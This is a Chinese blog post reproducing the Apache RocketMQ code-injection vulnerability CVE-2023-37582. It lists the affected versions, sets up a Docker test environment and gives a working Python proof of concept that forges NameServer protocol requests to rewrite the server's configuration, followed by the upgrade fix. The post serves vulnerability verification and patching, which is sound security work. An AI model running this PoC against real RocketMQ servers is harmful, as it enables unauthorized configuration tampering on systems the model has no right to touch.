首页 > 其他分享 >【漏洞复现】Apache RocketMQ 代码注入漏洞(CVE-2023-37582)

【漏洞复现】Apache RocketMQ 代码注入漏洞(CVE-2023-37582)

时间:2023-10-16 21:47:32浏览次数:55  
标签:socket header self hex 漏洞 length client 2023 37582

产品介绍

Apache RocketMQ是美国阿帕奇(Apache)基金会的一款轻量级的数据处理平台和消息传递引擎。

漏洞概述

Apache RocketMQ 存在代码注入漏洞,该漏洞源于当 NameServer 地址在外网泄露且缺乏权限验证时,NameServer 组件仍然存在远程命令执行漏洞,在 RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

RocketMQ < 4.9.7

RocketMQ < 5.1.2

复现环境

docker pull apache/rocketmq:4.9.4
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

漏洞复现

POC:

 1 import random
 2 import socket
 3 import binascii
 4 
 5 class poc:
 6     def __init__(self, url):
 7         self.url = url
 8         self.result_text = ""
 9         self.port = 9876
10 
11     def exploit(self, address):
12         try:
13             client_socket = socket.socket()
14             client_socket.settimeout(5)  # Set socket timeout to 5 seconds
15             client_socket.connect((address, self.port))
16 
17             header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
18             body = 'configStorePath=/tmp/test\nproductEnvName=test'+ str(random.randint(1, 10))
19 
20             header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
21             header_length_hex = '00000000' + str(hex(header_length))[2:]
22             total_length = int(4 + len(binascii.hexlify(body.encode('utf-8')).decode('utf-8')) / 2 + header_length)
23             total_length_hex = '00000000' + str(hex(total_length))[2:]
24             data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') + binascii.hexlify(body.encode('utf-8')).decode('utf-8')
25 
26             client_socket.send(bytes.fromhex(data))
27             client_socket.recv(1024)
28 
29             client_socket.close()
30         except socket.timeout:
31             return False
32 
33     def get_namesrv_config(self, address):
34         try:
35             client_socket = socket.socket()
36             client_socket.settimeout(5)
37             client_socket.connect((address, self.port))
38 
39             header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
40 
41             header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
42             header_length_hex = '00000000' + str(hex(header_length))[2:]
43             total_length = int(4 + header_length)
44             total_length_hex = '00000000' + str(hex(total_length))[2:]
45             data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')
46 
47             client_socket.send(bytes.fromhex(data))
48             data_received = client_socket.recv(1024)
49 
50             client_socket.close()
51             return data_received
52         except socket.timeout:
53             return False
54 
55     def main(self):
56         ip = self.url
57         result1 = self.get_namesrv_config(ip)
58         self.exploit(ip)
59         result2 = self.get_namesrv_config(ip)
60         if result2 != result1:
61             print("漏洞存在")
62         else:
63             print("漏洞不存在")
64 
65 if __name__ == '__main__':
66     ip = "127.0.0.1"
67     poc(ip).main()

在github上找到了poc,我对它做了一些修改,源poc --> 点击此处跳转。

增加了判断条件,根据与源文件内容进行比较判断是否注入成功。

运行上述poc后,效果如下:

 入库漏扫:

修复方式

升级Apache RocketMQ到5.1.2或者4.9.7安全版本

参考链接

https://github.com/apache/rocketmq/pull/6843

https://lists.apache.org/thread/m614czxtpvlztd7mfgcs2xcsg36rdbnc

标签:socket,header,self,hex,漏洞,length,client,2023,37582
From: https://www.cnblogs.com/spmonkey/p/17767846.html

相关文章

  • 20231016-日记
    距离CSP还有5天上午-模拟赛总结T1-魔力子串考虑对于每个右端点找到它能匹配的状态,使用前缀和思想以方便统计.这里我们定义"状态"为前缀的各个字母的数量,减去最少得字母数量,经过化简,我们一定可以从前面相同的状态直接转移过来.因此可以开一个巨大的map,里面存的结......
  • 2023跟我一起学docker-swarm 教程:部署篇「上」
    2023跟我一起学docker-swarm教程:部署篇「上」Swarm模式是用于管理一组Docker守护程序的高级功能。ip规划:Manager:Manager:172.16.95.137Node1:172.16.95.138Node2:172.16.95.1391、manager节点初始化swarmdockerswarminit--advertise-addr172.16.95.137输出:dockerswar......
  • 2023跟我一起学docker-swarm 教程:部署篇「下」
    2023跟我一起学docker-swarm教程:部署篇「下」停止Swarm集群上的一个节点目前我们所有的节点都ACTIVE的状态运行的,master可以将任务分配给任何节点,所以所有的节点都可以接收到任务。很多时候我们需要维护应用的时候,您需要将节点设置为DRAIN可用性。DRAIN状态的节点Maser阻止此类......
  • 2023/10/16 学习笔记
    网络层协议与解析网络层的功能: 定义了基于IP协议的逻辑地址  连接不同的媒介类型 选择数据通过网络的最佳路径IP数据包格式: 注解:版本(4) 指IP协议版本。并且通过双方使用的版本必须一致,目前我们使用的是ipv4,表示为0100十进制是4首部长度(4) IP数据包的包头长......
  • 20231016打卡
    上午的课程是铁道技术认知。在这门课上,我们学习了铁道的基础知识,包括受电弓、道岔变道器等。通过老师的讲解和课堂讨论,我们对铁道的运行和设备有了更深入的了解。在课程中,我们还通过虚拟仿真系统在计算机上学习了如何具体进行变轨操作和模拟动车组的运行。此外,通过沙盘的实际操作,......
  • 从嘉手札<2023-10-16>
    一、商君书1)更法商鞅和甘龙、杜挚同秦孝公商量变法。后两者认为变法会动移已有的社会结构,“圣人不易民而教,知者不变法而治”“法古无过,循礼无邪”但商鞅(公孙鞅)认为,三代不同礼而亡,五霸不同法而霸,知者作法,愚者制焉。“夫常人安于故习,学者溺于所闻”“反古者未必可非,循礼者未足......
  • 云原生周刊:CNCF 宣布 Cilium 毕业 | 2023.10.16
    开源项目推荐ReloaderReloader是一个Kubernetes控制器,用于监控ConfigMap和Secrets中的变化,并对Pod及其相关部署、StatefulSet、DaemonSet和DeploymentConfig进行滚动升级!SpegelSpegel在瑞典语中意为镜像,是一种无状态集群本地OCI注册镜像。Spegel使Kubernete......
  • 2023年第四季数据治理认证DAMA-CDGA/CDGP认证开始备考
    DAMA认证为数据管理专业人士提供职业目标晋升规划,彰显了职业发展里程碑及发展阶梯定义,帮助数据管理从业人士获得企业数字化转型战略下的必备职业能力,促进开展工作实践应用及实际问题解决,形成企业所需的新数字经济下的核心职业竞争能力。DAMA是数据管理方面的认证,帮助数据从业者提升......
  • 2023年10月NPDP产品经理国际认证开始备考啦
    产品经理国际资格认证NPDP是新产品开发方面的认证,集理论、方法与实践为一体的全方位的知识体系,为公司组织层级进行规划、决策、执行提供良好的方法体系支撑。 【认证机构】 产品开发与管理协会(PDMA)成立于1979年,是全球范围内产品开发与管理专业人士最杰出的倡导者,协助个人、企业或......
  • 2023年CSPM-3国标项目管理中级认证备考开始啦!
    CSPM-3中级项目管理专业人员评价,是中国标准化协会(全国项目管理标准化技术委员会秘书处),面向社会开展项目管理专业人员能力的等级证书。旨在构建多层次从业人员培养培训体系,建立健全人才职业能力评价和激励机制的要求,培养我国项目管理领域复合型人才。  【证书含金量】 ·竞聘优先......